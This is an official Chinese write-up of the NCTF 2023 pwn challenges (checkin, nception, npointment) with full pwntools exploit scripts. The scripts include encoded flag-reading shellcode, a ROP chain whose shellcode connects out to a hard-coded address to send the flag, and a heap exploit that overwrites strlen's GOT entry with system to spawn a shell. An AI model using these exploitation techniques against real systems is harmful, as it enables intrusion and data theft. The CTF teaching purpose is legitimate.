NCTF 2023 Pwn Official Writeup
checkin
出完另外两个实在没活了,憋了一天,开赛当天凌晨整了这么个烂活
0x100限制字符集shellcode。
直接用AE64梭,shellcode的时候栈上是有codebase指针的。稍微调一下ae64的参数就行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
from pwn import *
#from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')
code="""push 0
pop rdi
push __NR_close
pop rax
syscall
lea rdi, [rcx+0x120-0xad]
xor rdx, rdx
push rdx;pop rsi
push 2
pop rax
syscall
push rax;pop rdi
inc rdx
xor rbx,rbx
read_loop:
lea rsi, [rsp+rbx]
inc rbx
xor rax,rax
syscall
cmp rax, 0
jne read_loop
push 1
pop rdi
xor r12,r12
write_loop:
lea rsi, [rsp+r12]
inc r12
xor rax,rax
inc rax
syscall
cmp r12, rbx
jne write_loop
push __NR_exit_group
pop rax
syscall
"""
#obj=AE64()
#code=(obj.encode(asm(code),strategy="small",offset=0x34,register="rax"))
code=b"WTYH39YjoTYfi9pYWZjETYfi95J0t800T8U0T8Vj3TYfi9CA0t800T8KHc1jwTYfi1CgLJt0OjeTYfi1ujVYIJ4NVTXAkv21B2t11A0v1IoVL90uzejnz1ApEsPhzo1V4JKTsidt1Yzm3OJhV8j5dBXjTqEdkqCiJCk5K6FvpLO5U2BUEgKXldTyVcFSY9YZO5KdWIZZ6wRO1Pa4LqgN98TOQ2tl4Gu46ypI2W0cE2aj"
#s=process("../src/test")
s=remote("8.130.35.16",58002)
pause()
s.send(asm("pop rax")*4+code+b"flag")
#s.send(asm(code)+b"/flag\x00")
s.interactive()
|
非预期
主要是gpt写的沙盒有问题:
-
seccomp-tools
结果没出write
但其实是可以用的
但是为什么那么多人都是测信道呢……
可能seccomp-tools一眼下去没看见write?
1
2
|
0014: if (A!=read) goto 0020
0020: if (A!=1) goto 0026 # aka if (A!=write)
|
下次不用chatgpt写沙盒了qwq
-
read的fd似乎没限死,1也可以(from miniL),不过问题不大
后记
本来以为这题两小时以内就得被打烂的,没想到存活时常比我想象的长一些(
问卷“出的最差”比例最高也是意料之中。
没啥好说的,骂的好(
nception
这题知识点是异常处理绕canary以及无leak利用。
前面是一点碎碎念,解题思路请直接跳到solution节。
no leak & full relro? ret2dl?
第一次正经打FULL RELRO无leak利用应该是2023下半年巅峰极客初赛上,详见此处。
当天我对着那篇讲ret2dl的paper冲了一个上午也没有什么成果,最后发现程序里有gadget,把got拿出来造个syscall打csu就行了。
然后陆陆续续打了几场比赛,也见了几个FULL RELRO的题目,无一例外都是这个套路。
我就在想能不能预设一个情景让你只能打ret2dl。
当时想到借用C++类里private成员加public函数获取的方式应该能有mov rax, qword ptr [rax]
以及add rax,rdx
这种gadget,满足paper里的条件,应该有戏。
但是后来又想到,我知道的ret2dl-64位打法一定需要已知内存地址,而已知内存地址的话就可以转化为以前造syscall的打法。
这样一来似乎FULL RELRO下的ret2dl也就没有意义了,也许需要另辟蹊径,但这次出题时间还是略紧张,我还没研究出什么来,最终放弃这条线。最后只保留了no leak。
ret2csu?
我又在想,高版本csu没了,这种思路还能行得通吗?
如果还记得刚才的两个gadget,其实也好办,众所周知switch case在glibc中如果能被优化成跳转表是会走jmp rax
的,如此一来ROP就可以打了。至于call reg
个人认为没法用,毕竟你只能pop出来返回地址。
但是这种思路就只能控制参数走libc里的函数了,毕竟你jmp rax
了syscall
就不好打了。
cpp?
都来到cpp了就顺手塞个异常处理绕canary吧
没啥好说的,想走哪个函数的catch就把返回地址改成哪个函数的try块地址就行了。
本来还想塞个多个catch块(rdx
)选择性跳过去的但是我还没学会遂作罢
也许你会疑惑为啥本题libc给的是debian 12的libc而不是一般的ubuntu。
因为我的wsl是debian12我懒得再改exp了(不是
最后测试打包docker的时候发现,ubuntu mantic-20231011
的libc会在throw exception之前先查canary,而我本地wsl的debian 12则是在throw exception之后才查canary。
至于ubuntu22,摆了。
solution
漏洞出现在edit功能中:
1
2
3
4
5
|
char buf[0x200];
std::cin>>buf;
if (strlen(buf)>size_avail) {
throw exception("Buf too long");
}
|
很显然的一个栈溢出。
开了canary,直接溢出显然是不行的,但是看到后面有个strlen判断buf长度是否合理,不合理则抛出异常,这里就有问题了。
异常处理找catch会去返回地址找,看返回地址是否属于try块,有没有对应的catch块,正常来讲这里的throw会被main里的catch接住,但是如果返回地址变了呢?
在unwind过程中,存在恢复栈帧的过程,也就是leave_ret。
程序本身里有两个catch块,一个位于main中,一个位于destructor函数中。
main函数catch在while内部,会接着main逻辑执行,而另一个close掉012就leave_ret;return了。
栈溢出显然可以控rbp和返回地址,两个leave_ret也很简单能想到栈迁移。况且还没开pie,ROP的想法基本就成型了。问题是gadget在哪,而且012都关了你怎么leak,或者怎么做无leak利用。
gcc/glibc编译出的动态链接程序,似乎都会有__do_global_dtors_aux
这个函数,这个函数末尾可以错位弄出这么一段gadget:
此处的add不会进位到高32位。
起手式ROPgadget --bin pwn --only "pop|ret"
也能看到rbp和rbx均可控。
而众所周知pwn题开头一般都有setvbuf(stdin/stdout/stderr,0,2,0)
无缓存处理,栈溢出的题一般都会已知elf基址,bss段上的这三个指针都是libc相关地址,可以用上面的gadget算出来想跳的地址。
然后就是通过class里的两段、switch case里的jmp rax在libc里面随便跳。(gadget详细内容见exp)
后续你可以打ROP也可以mprotect打shellcode,我测试的时候看打ROP链0x100*7不太够于是给了0x200。
然而ROP写到一半就放弃了,五个libc函数调用真不是人能写的,每次还要控制三个寄存器。我甚至add的时候用的还是class里的gadget。
然而让我没想到的是真的有人写了ROP,0x800的长度
我甚至最开始还想着把上面那段add的gadget扬掉,不过那样就有点纯恶心人了所以还是算了。
然后就是注意一下strcpy的0截断问题,payload从前往后写,或者写一个foreach循环,算一下offset和特判一下0也行。
最后的shellcode也是,AE64应该可以梭,甚至你写个算个offset也行。不过没有0就行的话,手搓应该问题也不大(吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
|
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./test")
libc=ELF("./libc.so.6")
def menu(ch):
s.sendlineafter(b"choice: ",str(ch).encode())
def add():
menu(1)
def edit(idx,offset,data):
menu(2)
s.sendlineafter(b"idx: ",str(idx).encode())
s.sendlineafter(b"offset: ",str(offset).encode())
s.sendlineafter(b"data: ",data)
def show(idx):
menu(3)
s.sendlineafter(b"read?\n",str(idx).encode())
s.recvuntil(b"Data: ")
return s.recvline()[:-1]
def delete(idx):
menu(4)
s.sendlineafter(b"destroy?\n",str(idx).encode())
if __name__=="__main__":
stdout=0x406040
stdin=0x406050
stderr=0x4061A0
rsp_rbp=0x40284e
rbp=rsp_rbp+1
ret=rbp+1
# mov rax, [rbp-0x18];mov rax, [rax];add rsp,0x10; pop rbx; pop r12; pop rbp; ret;
reveal_ptr=0x402FEC
# mov rdx, rax; mov rax, [rbp-8], mov [rax], rdx; leave; ret;
aaw=0x402F90
# mov rax, [rbp-0x18]; mov rdx, [rax]; mov eax, [rbp-0x1c]; add rax, rdx; add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
push_rax=0x403040
# add dword ptr [rbp-0x3d], ebx; nop; ret;
magic=0x4022dc
# sub rax, qword ptr [rbp - 0x10] ; pop rbp; ret;
sub_rax=0x4030B1
# call rax;
call_rax=0x402010
# jmp rax
jmp_rax=0x40226c
# pop rbx ; pop r12 ; pop rbp ; ret
rbx_r12_rbp=0x000000000040284c
rax=0x3f117
rdi=0x27765
rsi=0x28f19
rdx=0x00000000000fdcfd
syscall=0x86002
mprotect=0x101760
pause()
add()
delete(0)
add()
add()
add()
add()
add()
rop_start=(u64(show(0).ljust(8,b"\x00"))<<12)+0xec0+0x10
heap_base=rop_start-(0xbc2ed0-0xbb1000)
success(hex(rop_start))
pause()
p1 = [
rbx_r12_rbp,0x100000000-libc.sym._IO_2_1_stdout_+rdi,0,stdout+0x3d,
magic,
rbx_r12_rbp,0x100000000-libc.sym._IO_2_1_stdin_+rdx,0,stdin+0x3d,
magic,
rbx_r12_rbp,0x100000000-libc.sym._IO_2_1_stderr_+libc.sym.mprotect,0,stderr+0x3d,
magic,
rbp,rop_start+0x230+0x10+0x18,
reveal_ptr,
ret,ret,ret,ret,rop_start+0x230+0x18+0x18,
jmp_rax, # pop rdi
heap_base,
reveal_ptr,
ret,ret,ret,ret,rop_start+0x230+0x20+0x18,
jmp_rax, # pop rdx
7,
rbx_r12_rbp,0x100000000-rdi+rsi,0,stdout+0x3d,
magic,
rbp,rop_start+0x230+0x10+0x18,
reveal_ptr,
ret,ret,ret,ret,rop_start+0x230+0x20+0x18,
jmp_rax, # pop rsi
0x20000,
reveal_ptr,
ret,ret,ret,ret,ret,
jmp_rax, # mprotect
rop_start+0x230*2,
]
for i in range(len(p1)):
off=0
while (p1[i]>>off*8)&0xff==0:
off+=1
if off==8:break
edit(0,i*8+off,p64(p1[i]>>off*8))
edit(1,8,b"/flag\0\0\0")
edit(1,0x10,p64(stdout))
edit(1,0x18,p64(stdin))
edit(1,0x20,p64(stderr))
edit(1,0x30,p16(2))
edit(1,0x32,p16(0x89c8))
edit(1,0x34,p32(0x10238208))
shellcode=asm("push 2;pop rdi;push 1;pop rsi;push rsi;pop rdx;dec rdx;push __NR_socket;pop rax;syscall;")
shellcode+=asm(f"push rax;pop rdi;push {rop_start+0x230+0x30};pop rsi;push 0x10;pop rdx;push __NR_connect;pop rax;syscall;")
shellcode+=asm(f"push {rop_start+0x230+8};pop rdi;xor rsi,rsi;push rsi;pop rdx;push __NR_open;pop rax;syscall;")
shellcode+=asm(f"push rax;pop rdi;push rsp;pop rsi;push rsp;pop rdx;xor rax,rax;syscall;")
shellcode+=asm(f"xor rdi,rdi;xor rax,rax;inc rax;syscall;")
edit(2,0,shellcode)
pause()
edit(2,0,b"a"*(0x200+0x20)+p64(rop_start-8)+p64(0x40238d))
s.interactive()
|
非预期
-
利用catch过程做leak
因为main里面做了catch,所以throw出来的exception不会导致程序退出,因而我们可以看看catch过程有没有机会泄露libc相关地址。
exception被catch之后,第一个执行的是__cxa_begin_catch,这里是源码
该函数会返回一个指向对象的指针,随后被存入以rbp为基址的内存中。
到这里又可以分为两支:
-
利用这个对象指针本身 (Spirit & Scr1w)
一个对象的前8byte是vtable,一个libc++相关地址。
如果我们能把这个地址写到对象的buf指针位置,我们也就能泄露libc相关地址了。
通过之前的栈溢出,我们显然可以控制rbp,向任意地址写一个指向libc相关地址的指针也就成为了可能,泄露libc地址也就信手拈来。
随后的利用链跟上面一样,但内容就只剩下栈迁移了。
-
利用这个写8byte,清零某些buf指针的低位,进而可以任意读写 (Polaris & Laogong)
这条路子就很野了。
本题的数据结构为ptr(class test*)->heap(char*)->buf(char[])。
哪怕你任意写一个libc地址,高两位也一定是0,可以利用这个特性弄一个错位出来,清空某个class指针的低位。
如果构造得当,此时就会有一个class指针里的ptr是可控的,进而可以任意读。
这道题到此可以转化为一个常规的堆题。
Polaris的做法是把能漏出来的都露出来之后打栈溢出,毕竟什么都有了那还不是随便玩.jpg
LaoGong的做法则是打tls,参见他们发的WriteUp。
现在看来可能不该在main里写catch和给docker的from,但是如挡,试一试/爆一爆也能出来。
如果走leak路线的话,其实pie也可以打开。
至于防御,我main里的catch如果换一种写法,那个mov qword ptr [rbp-0x18], rax
就没了。
原写法:
1
2
3
|
catch (std::exception& e) {
std::cout<<"Exception: "<<e.what()<<std::endl;
}
|
新写法:
1
2
3
|
catch (...) {
std::cout<<"Error when processing."<<std::endl;
}
|
感觉release版本把错误细节去掉好像也挺合理的?:D
后记
本来release版本符号表是都要被扬掉的,但不知道为什么这个题的符号表被留下来了,不过无所谓了。
最后一共4解,都是非预期呜呜呜。唯一一个预期解赛后半小时出了,痛,太痛了。
嘛,不管了。反正问卷里给的好评挺多,开心。
npointment
本题是CVE-2023-4911最开始的溢出部分在glibc堆上的一个拙劣的复刻。
碎碎念
一开始本来打算拿这个CVE出个提权的,前面再套一个misc,正好想回坑DN42了。
但是自己是在太摆了,本来2023年4月上架博客的时候就说半年内回坑DN42结果一直拖到现在。
而且出完这个题离NCTF开赛还有一周,然而我还得出一个题,还没思路。
遂摆。就这样吧。
对于题目本身来说,本来应该修一修、再加点功能的,但是emm,期末了。
也许明年会返场呢是吧。
solution
利用点和利用方法在分析CVE文章的前半部分都写的很明显了,自行取用。
本题当off-by-n打overlap应该可以,也可以复刻CVE里面极为优雅的溢出"\x00"
字节。
任意写和泄露heap和libc啥的很好弄,弄个unsorted bin
出来再把指针推到对应位置上即可UAF(可能还要推到small bin/large bin
,unsorted bin
对应指针低位是0,strdup末尾应该会加0)。
但这题不好任意读,泄露env打栈不太好弄。
不过任意写还是好办的。
考虑用到了strdup
,里面调了libc.plt.strlen->libc.got.strlen
。
打libc.got.strlen->libc.sym.system
,然后add content=/bin/sh\x00
,也就有system("/bin/sh")
。
感觉开沙盒也能打的样子,但是最后还是没加。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./npointment")
s=remote("8.130.35.16",58001)
libc=ELF("../dist/libc.so.6")
def add(content):
s.sendlineafter(b"$ ",b"add content="+content)
def show():
s.sendlineafter(b"$ ",b"show aaa")
def delete(idx):
s.sendlineafter(b"$ ",b"delete index="+str(idx).encode())
if __name__=="__main__":
pause()
add(b"A"*0x40)
add(b"A"*0x40)
add(b"A"*0x40)
add(b"A"*0x40)
add(b"A"*0x40)
add(b"A"*0x40)
add(b"A"*0x40)
add(b"\x21"*0x2d0)
add(b"A"*0x40)
show()
delete(0)
add((b"event=event=").ljust(0x40,b"a")+b"\x00"*(0xe+7)+flat([
0,0x471,
]))
delete(2)
add(b"a"*0x40)
add(b"a"*0x500)
show()
s.recvuntil(b"#3:")
s.recvuntil(b"Content: ")
libc.address=u64(s.recv(6).ljust(8,b"\x00"))-(0x7fc5ee65f0f0-0x7fc5ee460000)
success(hex(libc.address))
add(b"a"*0x50)
delete(0xa)
show()
s.recvuntil(b"#3:")
s.recvuntil(b"Content: ")
heap_xor_key=u64(s.recvline()[:-1].ljust(8,b"\x00"))
heap_base=heap_xor_key<<12
success(hex(heap_base))
pause()
strlen_got=libc.address+0x1fe080
add(b"a"*0x50)
delete(6)
delete(2)
delete(0)
add((b"event=event=").ljust(0x40,b"a")+b"\x00"*(0xe+7+0x10)+flat([
(strlen_got-0x40)^heap_xor_key
])+b"\x00\x00")
add(b"A"*0x40)
add(b"A"*0x40+p64(libc.sym["system"])[:6])
add(b"/bin/sh\x00")
s.interactive()
|
后记
这题主要是前期逆向恶心,堆溢出看出来之后开调就完事了。
这题最后一个被拿下也是意料之中,一共有3解。
而且没想到有人真看过这个CVE,还是挺意外的。
明年也可以复刻一波 (大概